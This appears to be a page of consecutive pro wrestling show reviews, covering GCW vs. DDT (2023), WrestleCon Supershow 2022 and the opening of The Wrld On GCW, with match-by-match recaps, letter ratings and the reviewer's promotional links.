GCW vs. DDT
Date: March 31, 2023
Location: Ukranian Cultural Center, Los Angeles, California
Commentators: Dave Prazak, Veda Scott

I think the title for this one says it all and that could go in a few different directions. I wasn’t thrilled with the DDT show from earlier in the week and GCW is hit or miss a lot of the time. Shows pitting two promotions against each other can be quite a mess but that’s part of the fun of seeing what they have. Let’s get to it.

Jack Cartwheel/Wasted Youth/Gringo Loco (GCW) vs. Daisuke Sasaki/Kanon/Sanshiro Takagi/Takeshi Masada (DDT)

Wasted Youth is Marcus Mathers/Dyln McKay and this is one fall to a finish. Takagi and Cartwheel start things off and Scott volunteers to be the official cartwheel counter. Cartwheel does a cartwheel and Takagi manages one of his own as I don’t think this is going to be overly serious. It’s already off to Sasaki vs. Mathers with Mathers sending him into the corner and snapmaring him back out.

With that going nowhere, McKay comes in to headlock Masada, who is right back out with a dropkick. McKay is fine enough to come back with a spinning brainbuster for two and everything breaks down. We settle back to Kanon fist dropping onto McKay and it’s back to Takagi to stay on McKay. Some rapid fire chops are enough to get over to Loco for the tag and everything breaks down fast.

Cartwheel hits a big flipping elbow over the top, setting up a big dive to the floor (with a Loco assist). Back in and Kanon chops away at Loco before Sasaki faceplants him down. Takagi is back in for a bunch of Stunners but McKay is there with an enziguri to Masada. Loco adds a moonsault, McKay hits a shooting star press, Mathers puts in a 450 and Cartwheel finishes with a Red Arrow for the pin at 10:39.

Rating: C+ This was a good way to start as you got a nice mixture of the two sides, with GCW getting to showcase themselves a bit. DDT didn’t stand out quite as much, but there is only so much you can do when most of you are in black and getting beaten up in the end. Fun match and they’re on the right path so far.

GCW – 1
DDT – 0

Saki Akai (DDT) vs. Dark Sheik (GCW)

Feeling out process to start as they circle each other until Sheik drops her with a shoulder. Back up and Akai hits a big boot but Sheik kicks her down even harder. A slingshot legdrop into a slingshot hilo keeps Akai down, followed by a splits splash for two. Akai manages to come back with a kick of her own and a high crossbody for two.

Sheik gets her leg swept out so a running knee can give Akai two. They slug it out, including boots to the head, with Akai getting the better of it and knocking her down. Akai grabs the abdominal stretch but Sheik reverses into a small package for the surprise pin to extend the lead at 7:19.

Rating: C. Nice match here as they felt even enough (maybe a slight advantage to Akai) as the good start to the show continues. I’ve seen Akai twice so far and she has done well in both matches, as there is a little something about her that makes you want to keep watching. On the other hand you have Sheik, who seems like she has something going for her and I could go for a few more matches.

GCW – 2
DDT – 0

East West Express (GCW) vs. Moonlight Express (DDT)

That would be Nick Wayne/Jordan Oliver vs. Mao/Mike Bailey. Wayne and Bailey start things off with a standoff so it’s off to Mao to shoulder Oliver (I had been waiting to see him this weekend). A dropkick puts Oliver down so Wayne comes in to help Oliver clear the ring. Naturally that means stereo dives but they try again and get punched out of the air by Bailey and Mao. Back in and Mao hits a springboard knee to keep Oliver in trouble, meaning it’s time to start in on the arm.

Mao rolls him into an abdominal stretch so Wayne makes the save, only to be knocked outside. Bailey moonsaults onto Wayne and Mao moonsaults onto Oliver for two, only to have Oliver blasts Bailey with a clothesline for two. The hot tag brings in Wayne to clean house until Mao drops him hard. Mao literally wiggles his way out of a waistlock but Wayne is back with a handspring Stunner.

It’s back to Oliver to take over on Bailey, including a running boot in the corner and sitout powerbomb for two. Wayne comes back in and gets caught with Bailey’s bouncing kicks. Oliver and Wayne are sent outside and stereo moonsaults from Mao and Bailey (from the same corner, with their arms around each other) drop them again. Wayne is busted open (it’s a bad one too) and it’s a double clothesline into a double hiptoss for two on Bailey.

Mao and Bailey are back with stereo backflip slams (Cameron Grimes does it in NXT) for two each. The Ultimate Weapon hits Oliver but Mao’s 450 hits knees. A tiger suplex gets two with Bailey shoving Wayne into the cover for the save. Wayne is kicked to the floor and the Tornado Driver (something like Aussie Open’s Coriolis) gets a rather close two. Oliver and Bailey trade rollups until a double team middle rope cutter plants Bailey for the pin at 16:20.

Rating: B+. This took its time to get going but I was way into it by the end and they had it rocking. I hadn’t seen these teams together before but you can tell they have the experience and skill to work well together. Heck of a match here and one of the better things I’ve seen so far this weekend.

GCW – 3
DDT – 0

Veda Scott swaps out with someone named Nick Knowledge.

Starboy Charlie (GCW) vs. Kazusada Higuchi (DDT)

The much bigger Higuchi takes him into the corner and gives Charlie a rub of the head before letting him go. Charlie tries to pick up the pace and goes for the leg, setting up a basement dropkick. Higuchi’s chop takes Charlie down and a running splash gets two. The neck crank goes on but doesn’t keep Charlie down long, leaving Higuchi to knock him down again.

A middle rope elbow hits Charlie for two, so he begs Higuchi not to chop him. That makes Higuchi chop him hard enough to put Charlie down but he’s back up with a Thesz press of all things. Charlie gets sat on top, where he manages to slip through Higuchi’s legs and hit a heck of a powerbomb. For some reason Charlie tries to chop it out, even nipping up when Higuchi knocks him down.

Charlie’s chest is blood red and Higuchi blasts him with a clothesline for two. A missed charge sends Higuchi into the post and out to the floor, allowing Charlie to get in a dropkick through the ropes. Back in and a middle rope corkscrew moonsault gets two, allowing Charlie to pull his straps up….and then right back down.

Higuchi has had it with this and grabs a doctor bomb for two, with the kickout just getting on Higuchi’s nerves. The claw slam is countered into a crossface and Charlie even rolls back into the middle. With the rope not working, Higuchi muscles him up for an Oklahoma Stampede. For some reason Charlie flips him off and gets flattened with a running shoulder. Now the claw slam can finish Charlie at 11:40.

Rating: B-. This wasn’t exactly a great match but it told a story and that made it work. You could see Higuchi go from toying with Charlie to having to put in the work to beat him, making this get more interesting as it went on. Charlie didn’t get in a ton of offense but what he did looked effective, which isn’t easy given the size difference. They pulled me in with this one and that isn’t easy to do so nice job.

GCW – 3
DDT – 1

Veda Scott comes back.

Joey Janela (GCW) vs. Yuki Ueno (DDT)

Ueno shoulders away to start but gets taken into the corner. Janela stomps on the fingers and starts in on the arm, including a hammerlock. Ueno fights out and sends him into the corner before tying him in the ropes. A running faceplant on the apron rock Janela, who is fine enough to come back with a Death Valley Driver for two. Janela sends him outside for the suicide dive, followed by the Fujiwara armbar on the bad arm back inside.

That’s broken up as well but Ueno misses a knee. A superkick just makes Ueno snap off a dropkick for two, only to have Janela hit the brainbuster. Janela goes up top but gets caught with a super hurricanrana. That and a flipping Fameasser (as in a Fameasser with the arm trapped and they flip forward until Janela lands on his face) for the pin at 10:24.

Rating: C. Janela still isn’t the best in the ring but there is a weird charisma to him that makes him watchable. At the same time Ueno is someone who feels like he could be a star with some more experience and seasoning. It didn’t make for the best match, but Ueno’s offense was enough to keep it interesting.

GCW – 3
DDT – 2

Tony Deppen/Homicide (GCW) vs. Tetsuya Endo/Jun Akiyama (DDT)

Akiyama and Homicide look at each other a lot to start before it’s time to exchange wristlocks. It’s too early for Akiyama’s exploder so it’s off to Deppen vs. Endo. Deppen gets caught in a headlock and then gets shouldered to the mat. Deppen is back up for a nice looking dropkick and it’s back to Homicide for a running clothesline. Akiyama comes in and goes to the floor with Homicide instead.

The other two go to the floor as well and we have to go split screen for the double brawls. Homicide bends Akiyama’s fingers before heading back inside where Deppen can wrap the arm around the rope. Biting in the corner has Akiyama in more trouble but he comes back with a jumping knee. Endo comes back in to pick up the pace, including a springboard double clothesline.

Homicide manages a shot to take Endo down though and Deppen comes in off the top with a double stomp for two. Endo Boston crabs Deppen with Homicide grabbing a cutter for the save. That leaves Akiyama to come back in for the throws. With Deppen down, Endo adds the Burning (shooting) Star press for the pin at 12:20.

Rating: C+. Nice enough stuff here as you had a unique styles match here. Homicide can wrestle with just about anyone and Deppen has such a punchable face that it is easy to want to see him get beaten up. Akiyama and Endo both did well too, which shouldn’t be a surprise. I’m not with on a lot of Homicide’s stuff but it meshed well here.

GCW – 3
DDT – 3

Second Gear Crew (GCW) vs. Chris Brookes/Shunma Katsumata/Mizuki Watase (DDT)

The Crew is 1 Called Manders/Matthew Justice/Mance Warner and they get jumped from behind during their entrances. The fight starts on the floor and I’m not sure how much tagging you should expect here. Warner chairs Brookes but Brookes throws it at Warner’s already bleeding head. Back in and Manders takes off his boots to hammer away at some heads, only to run into some Legos (while wearing only socks).

Brookes breaks some kind of bin over Justice’s head and it’s Warner coming back in for a bunch of jabs to Brookes’ face. Warner grabs a ladder and does the helicopter spin until a low blow cuts him off. Katsumata puts the ladder around his own neck but gets picked up and speared down in a big crash. The DDT guys get back up and stack the bins together, setting up a top rope backsplash to drive Justice through the bins (they broke well) and into the Legos for two.

Everyone is back up for the strike offs with DDT taking over. Brookes grabs the staple gun and staples the Crew’s heads, only to have them all fight back. Katsumata gets stapled in a variety of places and now it’s time for the door. The PowerPlex through the door gets two so Manders manages to pick up both of his partners at once (geez). The charge misses though and Manders drives both of them through another door in the corner.

DDT all goes up for a triple Van Terminator and a triple near fall. The doors are set up again on the floor and Katsumata dives off a ladder to drive Justice through them. Back in and the Crew starts swinging doors to take over, followed by a chair to Watase’s head. Watase just screams a lot and sends Warner outside. Manders lariats Katsumata and Warner adds a DDT for the pin at 15:19.

Rating: C. This is the kind of hardcore match that you kind of expect from GCW but they didn’t get into the stupid/over the top stuff that gives the place its reputation. The Crew is a team that feels like they could be a constant in GCW as they work well together and have a good look. The DDT guys were fine, but I absolutely didn’t need to see one of them get chaired in the head like that. Cut that stuff out.

GCW – 4
DDT – 3

We run down some upcoming shows while the ring is cleaned up.

Pheromones (DDT) vs. Bussy (DDT)

That would be Danshoku Dino/Yuhi Ino vs. Effy/Allie Katch and I still have nightmares about that one Pheromones match. After a somewhat personal weapons check, we’re ready to go. Allie and Ino start things off but hang on as Ino needs to pose on the middle rope (Effy seems VERY interested). Allie finally kicks Ino in the gut after nearly two minutes of posing but he takes her down and exposes his nipples.

Effy comes in to face Dino and they lock it up, with Allie having to prevent a kiss. With that not working, Effy goes for a waistlock and Dino bends over. Everything breaks down and Effy is rather pleased with the idea of Ino unzipping his singlet. Dino slaps at Effy’s trunks, with Effy sitting on the buckle for easier access. That finally breaks up and a double atomic drop gets two on Ino.

Effy and Ino have a gyrate off until Ino starts to strip. That means only the jockstrap is left and Effy needs a minute. Dino takes his trunks off too and Effy is officially on their team. The Pheromones do their Merry Go Round deal (it involves rubbing various parts of their bodies over someone’s face) to Allie but Effy throws her aside to take her place. Then Effy takes his own trunks down and makes it a three person Merry Go Round.

Effy breaks up the cover so Allie gets caught in a Boston crab/headscissors, meaning her face goes between Ino’s legs. Effy finally throws some forearms and Allie kicks Ino low as this just keeps going. Allie takes down her own trunks and hits some cannonballs in the corner. A Stunner and Pedigree get stereo near falls because THIS JUST KEEPS GOING. Effy takes Ino into the corner for some hip thrusts to the face before putting him in another corner. A Human Centipede ensues, including various referees, which is finally a no contest at 13:38.

Rating: F. Nope.

GCW – 4
DDT – 3

A triple kiss ensues post match.

Ironman Heavymetalweight Title: Yoshihiko (DDT) vs. Cole Radrick (GCW)

Yoshihiko (still a blow up sex doll) is defending. Radrick shakes her hand to start and gets taken down with a headlock takeover. Another headlock takeover cuts Radrick down and an armdrag sends him to the floor. A big flip dive over the top is pulled out of the air though and Yoshihiko is launched into the wall. They go back to ringside where Yoshihiko hits a tornado DDT on the floor and gets two back inside.

Radrick’s powerbomb attempt is countered into a very spinning headscissors for two. A splash in the corner is broken up and Yoshihiko grabs a super hurricanrana to send Radrick outside. The big flip dive drops Radrick again but he’s fine enough to hit an Air Raid Crash into the corner. It’s time for a door because of course it is, plus a bunch of chairs (some of which land on Yoshihiko).

The door is sat on some tables but Radrick takes too much time to go up, allowing Yoshihiko to sit up. There’s the superplex through the table for two but Radrick is back with a running Death Valley Driver through a door in the corner. Yoshihiko’s piledriver gets two and she throws some chairs at his head. Back up and Radrick Death Valley Drivers her onto a chair for the pin at 14:36.

Rating: C. As was the case in the previous Yoshihiko match, this is a different kind of entertainment and the wrestling really isn’t there. This is all about the fans having a good time and I can give the human points for some creativity with some of this stuff. At the very least, it is something different that the fans like. I won’t argue with anyone who thinks it’s idiotic or a waste of time, but given the other stuff on this show, it was brilliant.

GCW – 5
DDT – 4

Post match they shake hands and Yoshihiko kicks him low. A small package gives her the title back.

Overall Rating: C. This is a tricky one because there is some good stuff on here, but the bad is just so awful that it’s hard to get my head around it. There is a special skill needed to do something that awful and stupid and they managed to pull both of them off here. Other than that and the main event (the ultimate your mileage may vary deal), the rest of the show was up and down, with the tag match being very good but some of the other stuff just being kind of there. I probably won’t be back to DDT anytime soon, but the GCW talent has some potential. Not a great show, but that’s mainly due to a few things rather than the whole.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

WrestleCon Supershow 2022
Date: March 31, 2022
Location: Fairmont Hotel, Dallas, Texas
Commentators: Ian Riccaboni, Veda Scott

This is one of the biggest and most interesting shows of Wrestlemania Weekend as you do not know what you are going to get on any given show. Some of the matches are going to be announced in advance, but sometimes you are just going to get some wrestlers without opponents. This is the non-WWE ticket I make sure to get every year and this was no exception. Let’s get to it.

I was in the arena for this show, sitting opposite the main screen about five rows back.

One more note: after the show was over, the fans would be allowed to vote on their choice for best match. The wrestlers in that match would split $5,000, which seems to be a legitimate prize. It worked for Kip Allen Frye and it should work here too.

We open with the traditional graphic for the show as we wait on the feed to start. The music that was being played in the arena still going on in the background does help a bit.

The video starts with a look at Mark Hitchcock, a graphic designer who worked for WrestleCon but passed away on his honeymoon. The show is named in his honor, though the introduction of the tribute isn’t included here.

Mike Bailey vs. Bandido

Bad start to the show: ignore Bret Hart’s music starting for no apparent reason, plus the ring announcer introducing Bandido as Bailey’s video plays on the wall. Commentary talks about how they’re supposed to be impartial, but Veda might be about to marry Bailey in a few months. They start with the handshake but then start the fast pace with neither being able to hit much of anything.

With that not working, they wind up on the apron less than a minute in with Bandido missing a baseball slide, allowing Bailey to jump to the top for a moonsault out to the floor (that was some sweet timing). They walk around the ring with Bailey firing off some kicks to the chest. Back in and they chop it out until Bandido drops back to avoid a shot to the face, allowing him to nip up in a great looking sequence.

Bandido grabs a delayed vertical suplex….and by delayed I mean he holds Bailey up for 64 seconds before dropping him for a double knockdown. Back up and Bailey hits a running shot to the mask but Bandido grabs Three Amigos into the Eddie dance. There’s the frog splash to give Bandido two but Bailey counters the X Knee. The bouncing kicks rock Bandido, who is right back with a pop up cutter to put both of them down again.

They go to the floor and trade back to back to back to back dives (because of course) and they need a breather. It’s time for the required fight on the apron, including the chop off. Bailey takes him down and hits the moonsault double knees on the apron, only to miss the Ultimate Weapon (taking a rather hard landing on his knees). A big spinning faceplant sends Bailey out to the apron again, where a pop up cutter kind of drops Bailey face first.

Back in and the 21 Plex gives Bandido two and the kickout leaves him stunned. Bailey kicks him down and misses the Ultimate Weapon but settles for moonsault knees to the ribs. Shooting star knees to the ribs gets two and the Flamingo Driver (similar to the One Winged Angel) gives Bailey the same. Bandido is back up with some running knees and a release 21 Plex, setting up the super moonsault World’s Strongest Slam for the pin at 16:21.

Rating: B. This is a show where I’m going to be a good bit lighter on the ratings as this is all designed to be a bunch of one off matches. That was on display here, as they were doing everything they could and trying to fit in a bunch of spots. In that regard, they had a heck of a match here that had the crowd fired up, even if Bailey’s idea of selling his knee is grabbing it in between flips. Bandido continues to be amazing in just about everything he does and this was a lot of fun.

Post match fans throw money in the ring and, after seemingly realizing that it is cash instead of garbage, Bailey seems really taken aback. They split the money and show respect as Veda Scott takes some jabs at how expensive everything is at the hotel (hence why I stayed out of the restaurant).

And now, here is Bret Hart as a special ambassador. Bret comes to the stage, thanks the fans for being here, and wishes us a good night. He might have been out there for thirty seconds.

Mia Yim vs. Athena

Athena is better known as Ember Moon and is the hometown girl. We get a dueling chant before the bell with Athena dancing to her own chants. They mirror each other to start before going to a test of strength with Athena taking her down. Yim’s bridge holds up so they go to an exchange of wristlocks instead. Athena hits some cartwheel knees to the ribs and we’re already in a chinlock.

That’s broken up and Yim drives her into the corner before hitting a dropkick out to the floor. Athena has a seat at ringside and the chase lets her post Yim rather hard. Some right hands set up something like a standing Crossface, followed by Athena’s running forearm in the corner. Yim is back with the Tarantula but Athena breaks that up and hits a quick Downward Spiral.

The Koji Clutch goes on and is broken up just as fast, setting up a Boston crab from Yim. Back up and they hit stereo crossbodies for a quick double down. Yim is fine enough to hit a running big boot in the corner, setting up a Cannonball for two. The package piledriver is countered into an Alabama Slam so Athena goes up.

That’s broken up with a super hurricanrana attempt, which is countered into a super hurricanrana, which is countered into a super sitout powerbomb for two. The stunned Athena shoves Yim into the referee, meaning it’s time to grab a chair. That’s taken away and the distraction lets Yim hit the package piledriver for the pin at 13:40.

Rating: B-. Athena isn’t someone who has been around very much lately but she can still go in the ring. Yim would fit the same description, as she can have a good to quite good match with anyone but for some reason neither are in a major promotion at the moment. I could go for either of them somewhere else, as this was a good, back and forth match that kept me interested.

Post match Athena gets a nice show of respect.

Timothy Thatcher vs. Tomohiro Ishii

This is going to hurt. Feeling out process to start with Thatcher using the height advantage to grab a quickly broken nerve hold. A headlock takeover works a bit better for Thatcher but Ishii is back with a Kimura, sending Thatcher straight to the ropes. They forearm/uppercut it out until Thatcher snaps off a belly to belly for two. A short armscissors keeps Ishii down as Scott puts over Thatcher’s abilities to hurt people in so many ways.

Thatcher kicks him to the apron but Ishii is back in with a suplex (not the brainbuster for some reason) for two. We get the big slugout until Ishii punches an enziguri out of the air. Thatcher is fine enough to snatch an ankle lock, which is reversed into another ankle lock. That’s broken up as well and now the enziguri can connect, setting up a cross armbreaker to put Ishii in more trouble.

A Fujiwara armbar sends Ishii over to the ropes again (you don’t see him do that very often) but he’s back with a clothesline into an enziguri. The sliding lariat gets two but the brainbuster attempt is countered into the Fujiwara armbar. Ishii counters that as well, setting up the brainbuster for the pin at 12:52.

Rating: B. This is a good example of a match where you know what you’re getting when you sign up for it and that is what we got here. Ishii and Thatcher know how to hurt people and they make it look really easy to do so. I could go for Thatcher showing up somewhere else as he is the kind of person wrestler that can always be added to a roster for some depth. Ishii is long established and he gave you what you’re needing here. Good, hard hitting match.

Scott talks about how there are matches that make her want to get in the ring and compete, whereas that one makes her glad to have this comfy chair.

Johnny WrestleCon vs. Taya Valkyrie

This is a Dirty Dishes match with the loser having to do the dishes for the rest of their lives. Before the match, Taya says they have been married for about five years and when they first got married, Johnny was so nice. Shopping trips, nice dinners, even making the bed. So what happened? Johnny has gotten so lazy that he can’t clean up after himself and can’t even, ahem, clean himself in certain areas.

As proof of how much of a slob he is, Taya has brought THEIR DIRTY DISHES to the show, with a bunch of people bringing them out. Johnny: “YOU BROUGHT OUR DISHES TO DALLAS???” Johnny laughs at the idea of Taya having to be right all the time and says ring the bell.

Feeling out process to start as the fans shout about JOHNNY DISHES. Johnny chills on top and they shout at each other until Taya hits a heck of a chop. Taya gets shoved down into the corner but she knocks him into another corner for some running knees. And now, it’s time for some dirty dishes (Ian: “Can’t they just hire someone to clean them?”) but Johnny smashes a plate over Taya’s head.

The flipping neckbreaker gives Johnny two as the fans dub him JOHNNY DOGHOUSE. A coffee cup is broken over Taya’s head but she kicks him to the apron. Johnny knocks her down again and busts out some sponges to rake the skin off of Taya’s back. Some Clorox to the back makes it even worse but Taya is back up with a spear. Two bottles are broken over Johnny’s head for two (Scott: “Why is he kicking out??? JUST DO THE D*** DISHES JOHNNY!”) and it’s time to spray some more cleaning stuff in Johnny’s face.

The cookie sheet is brought in but Taya hits La Mistica into the broken glass. Johnny blocks a kick and knocks Taya down into the splits, setting up some hip gyrations. That doesn’t do much for Taya, who hits him low and puts a bucket on his head for a DDT. A Canadian Destroyer with the bucket on Johnny’s head gets two but the referee gets taken down. Therefore the Road To Valhalla gets no cover, allowing Johnny to hit him in the face with a glass.

Johnny puts the bottles on her stomach and hits Starship Pain, which winds up being a rather bad idea. Hold on as Johnny grabs a mic and asks for a kitchen sink to be brought in. We get a rather large sink brought in but a Skull Crushing Finale (nice) onto the sink is countered with a Stunner. Taya hammers away and hits him with a bunch of plates, setting up the curb stomp onto the sink for the pin at 14:31.

Rating: B. This one is much more about the fun than the quality and that is the kind of match you need to have at the WrestleCon Supershow. Seeing the two of them go completely over the top and have that much fun with a match is all you could expect here. It was a novelty match but I had a blast with it both live and watching it back. Good stuff here that didn’t take itself seriously in any way.

Johnny: “I HATE DISHES! But I love you.”

The ring announcer explains how to vote on the Match of the Night and the $5,000 prize.

We have another WrestleCon ambassador: Jushin Thunder Liger, and yes the fans seem to like him. I met him earlier in the day so this was a cool surprise again. Liger shows up, takes some bows, and leaves.

Michael Oku/Laredo Kid/Rey Horus vs. Josh Alexander/Black Taurus/Ace Austin

Lucha rules and Ring Of Honor’s Cary Silkin is on commentary but I can’t hear a word he’s saying. Taurus misses a charge to start and gets armdragged down by Kid. A headbutt into a snap powerslam drops Kid and it’s off to Horus, who gets smacked in the face. Horus knocks Taurus (and yes commentary plays up the rhyme) to the floor for the big dive, meaning it’s off to Oku for a running kick to Austin’s face.

Alexander comes in and kicks Oku in the face to even things up, setting up a powerbomb onto the knee. Everything breaks down and Alexander and company clean house, leaving Taurus to hit a pop up Samoan drop on Oku. Silkin’s mic is fixed as Oku manages to stack up all three opponents and half crab (his finisher) all of them at once). Horus is back in with the satellite DDT on Taurus, setting up the huge dive over the post to take out Austin.

That doesn’t keep Austin down as he’s back up with some flips on the apron to kick away at Horus and Kid. Oku takes Austin down so Taurus hits a huge corkscrew suicide dive. Back in and Taurus hits a running crucifix bomb (cool) on Kid as commentary actually tries to keep track of who is legal. Alexander Death Valley Drivers Kid and Horus at the same time but Oku dives in with a top rope splash.

Austin hits Oku with a spinning slam but Horus catches him with a Spanish Fly for two. The Tower of Doom is loaded up but the people come crashing down instead (on purpose), leaving Taurus to hit a super gorilla press on Horus. Oku makes the save though and it’s back to back to back top rope splashes to finish Taurus at 13:08.

Rating: B. Much like the previous match, this is what you should have expected when you saw this match added to the card. They didn’t bother with the tagging and such and it would have been ridiculous to try and do so. I haven’t seen much of Oku but he seems to be pretty good at this wrestling thing. The other five were all awesome and it was a treat to see Alexander live, even if he was replacing Jonathan Gresham. Heck of a match here, again.

BUY THE HIGHSPOTS VIDEO NETWORK! No really, it’s a heck of a deal for about $10 a month.

Minoru Suzuki vs. Biff Busick

This is going to hurt too. You might remember Busick as Oney Lorcan from NXT but he’s a bit more fun outside of WWE. They start slowly as Scott talks about Busick being busted open in a match earlier today. Suzuki grinds away on a headlock before switching over to a leglock as he has a thing about hurting limbs.

The threat of a Kimura doesn’t quite click as Suzuki gets caught in a headscissors, which is broken up for a standoff. Busick grabs a slam but has to escape an armbar over the ropes. They head outside with Busick being sent face first into the announcers’ table as Busick is busted open (again).

Back in and Suzuki drives an elbow into Busick’s head, setting up the Kimura. Suzuki switches to another armbar, allowing Busick to make it over to the ropes. The running elbows stagger Suzuki and it’s a half and half suplex into a half crab. Make that an STF as Busick goes Samoa Joe. Suzuki gets the legs free and makes the ropes, setting up a running kick to the chest. The chop off is on, with Busick staggering a lot more than Suzuki. Busick’s half and half doesn’t mean much as Suzuki hits another chop, setting up the Gotch style piledriver for the pin at 14:37.

Rating: B-. This was another good one but it felt a bit too much like the Ishii vs. Thatcher match. That being said, it was a hard hitting fight as Suzuki hurting people is always worth a look. Busick is someone else who didn’t quite get to be himself in WWE, though the lite version was still pretty good while it lasted. Another hard hitting match here and I had fun with it.

Team PCO vs. Team Onita

PCO, NZO, Jimmy Wang Yang, Barry Horowitz, Dirty Dango
Atsushi Onita, Rock N Roll Express, Juice Robinson, Colt Cabana

So this is….a choice. The ten person tag is the signature WrestleCon Supershow match as the captains get to pick their teams. Before the match, NZO gets in his catchphrase because…well why else is he here? Horowitz, who looks even more ancient than he is, comes out to We Are The Champions for a nice touch. Ian would also like to know how PCO could possibly know Dango but forgets all about that when Cabana comes out, turning Ian into a cheerleader for his former broadcast partner. Onita also has his chainsaw carrier with him for a bonus.

Cabana and Horowitz start things off with Cabana hugging one of his heroes. Horowitz tries to lock up but Cabana grabs the hand for a pat on the back instead. Robinson and Dango come in with Robinson working on a wristlock. A sunset flip gives us a crazy balancing act from Dango, who manages to turn it into some dancing. Cabana isn’t having that and comes in to catapult Robinson’s head up for a low blow (always funny) to take over.

It’s off to NZO to take Dango down and walk on his back, before handing it off to Yang for some COWBOY S***! Yang hammers away with some right hands in the corner and it’s off to PCO. Robinson tries to chop with him for some bizarre reason before handing it to Onita. The mist staggers PCO and they brawl to the floor for a pretty horrible DDT (with Onita losing him on the way down). Back in and Morton gets the tag, only to have NZO break up the double….uh, something.

Dango gets to pound Morton into the corner and hip grinds on his head for a bit. NZO misses a charge into the post though and the hot tag brings in Gibson so everything can break down. PCO cleans house and hits some suicide dives, setting up the Deanimator for two on Robinson. The chair is brought in but the PCOsault only hits mat, meaning Onita can come in. They mistime…something, until Onita kicks the chair into Dango’s face. The mist sets up a Stunner to give Onita the pin at 12:18.

Rating: D+. I know the match looked good on paper and was probably a funny idea, but this didn’t work whatsoever in execution and it was a huge misfire. A bunch of the people were either so broken down that they couldn’t move or just looked sad out there. This match tends to be the big showcase of the WrestleCon Supershow but this came off like a joke and that was more disappointing than anything else.

Post match Onita mists Yang and beats him into the crowd. That leaves Dango to get the Fandango music….and Summer Rae of all people comes to the ring to dance with him for some old times’ sake.

Rottweilers vs. Briscoes

You really can feel the energy when the Briscoes come out, as they are one of the most charismatic teams you will ever find. Hold on though, as we need to get to one of the most infamous moments of the weekend. Homicide seems to flip off a fan at ringside (though he might have been aiming at the Briscoes) but then Low Ki starts shouting at the fan. Said fan (in the front row) slams something against the barricade and Low Ki drops to the floor to get in his face.

The referee has to hold Low Ki back and Low Ki threatens to f*** the fan up. The rest of the fans egg Low Ki on and he goes outside again as the fan is taken out by part of the production team. With the fan gone, Low Ki sits in his front row seat before getting back on the apron. The bell FINALLY rings and commentary gets to talk again, as they were mostly silent during the whole thing.

Hold on again though as Homicide grabs the mic and says put that CENSORED in the front row. Homicide: “I F***** YOUR GIRL LAST NIGHT!” Low Ki says put him in the front row and adds an “oh good you’re back.” The fan shouts something else at Low Ki, who points out that he’s the one in the ring (though he’s on the apron at the moment) while the fan is the one paying to watch (fair point).

I actually got to talk to Low Ki the next day and he said that the whole thing was real, to the point where even the locker room wasn’t sure what happened after the show. Apparently the fan flipping him off was the point of no return and while Low Ki was working a bit, he was still mad about the whole thing.

With ALL of that out of the way, Mark and Low Ki trade arm control to start. Low Ki tries to roll out but Mark holds back, only to get pulled into an armbreaker over the ropes. With that broken up, Low Ki kicks him out of the corner and it’s Jay coming in for a running big boot. The Rottweilers are sent outside where they throw in a bunch of chairs. Jay likes this idea and grabs the mic, saying let’s make this No DQ. Doesn’t work for Homicide (brother) so Mark gets a running start and flip dives onto the Rottweilers on the floor.

The bell is rung on Low Ki’s head (right in front of the unruly fan) but Mark chairs Jay by mistake. We settle down to the Rottweilers elbowing Jay until Mark makes the save with a chair (as we seem to have hit No DQ by default). Everything breaks down and Jay superkicks Low Ki, who might have lost a tooth. The Doomsday Device is broken up but Homicide is sent to the floor, leaving Low Ki to have his Jay Drilled. The Froggy Bow gives Mark the pin at 12:00.

Rating: B-. Once we got all of the insanity out of the way, the match wound up being the pretty good stuff that you would have expected. You don’t see a bad Briscoes match and they were doing their usual stuff here, albeit against a team that you have to be an old school ROH fan to remember. The problem with that was the thing at the beginning, which took me completely out of the match and is all I could remember about the thing. Kind of a shame, but if Low Ki was going for memorable, he certainly got it.

Overall Rating: A-. Ten man tag and pre-main event fiasco aside, this was a heck of a show that did exactly what it was supposed to do. We got a bunch of solid wrestling with a nice mixture of things to make it work. The WrestleCon Supershow is designed to be a big mash up of all kinds of fun and wacky matches and that is what we had here. Heck of a show, but skip that ten man tag and the Low Ki stuff, as it really drags things down.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

The Wrld On GCW
Date: January 23, 2022
Location: Hammerstein Ballroom, New York City, New York
Commentators: Dave Prazak, Kendall Gill
Hosts: Lenny Leonard, Pollo del Mar

Every now and then a show catches my attention and I’ll add it to the schedule. That is the case here, as GCW has become the hottest indy around at the moment and I’m going to give it a shot. I am absolutely not a fan of the deathmatch stuff, but apparently that kind of wrestling is not allowed in New York so we get a bit of a reprieve here. Let’s get to it.

Note that I barely follow GCW so I am not going to know much in the way of storylines or characters so please bear with me if I miss something.

Kickoff Show: Blue Ribbon Battle Royal

Psycho Clown, Dark Sheik, Cole Radrick, Parrow, Hoodfoot, Ruckus, Charles Mason, KTB, Juicy Finau, Steve Scott, Nate Webb, Big Vin, Brandon Kirk, Janai Kai, Dustin Thomas, Marcus Mathers, Yoya, B-Boy, Lufisto, Thunder Rosa

Clown jumps Parrow before most of the entrances have taken place and we’re starting fast. The huge Parrow fights him off but Sheik hits a pretty awesome looking jump up to his shoulders into a double stomp to the chest (kind of like Cameron Grimes’ Cave In). Sheik isn’t done and hits a top rope spinwheel kick to drop Radrick. Back up and Radrick runs Sheik over as more people come in (Are these entrances timed? That hasn’t been mentioned.), giving us Parrow vs. Ruckus.

Entrants keep coming in one at a time but with maybe fifteen seconds in between, making me wonder why they started so fast. Scott (I think? Commentary is too busy to say who these people are.) is clotheslined out as Big Vin takes his place. Vin grabs Sheik from the apron and backflips in for a World’s Strongest Slam (that’s a new one) before having a big hug with Finau.

The ring (which isn’t very big in the first place) is WAY too full here as Kirk is tossed. Thomas (the wrestler with no legs) comes in and hits a tornado DDT on KTB. Mathers and Yoya are in as Radrick is out in a hurry (and actually gets named). Mason (in a suit) is in next as this is just a free for all of people hitting one move after another with nothing close to coherence.

Now it’s B-Boy coming in as Clown hits a superbomb on Mason. Mathers (I think) is out with Sheik and KTB following him. Lufisto makes a big surprise return and there go Clown and Thomas. Thunder Rosa is the big surprise and final entrant so we look at her beating up Parrow in the corner while everyone else brawls.

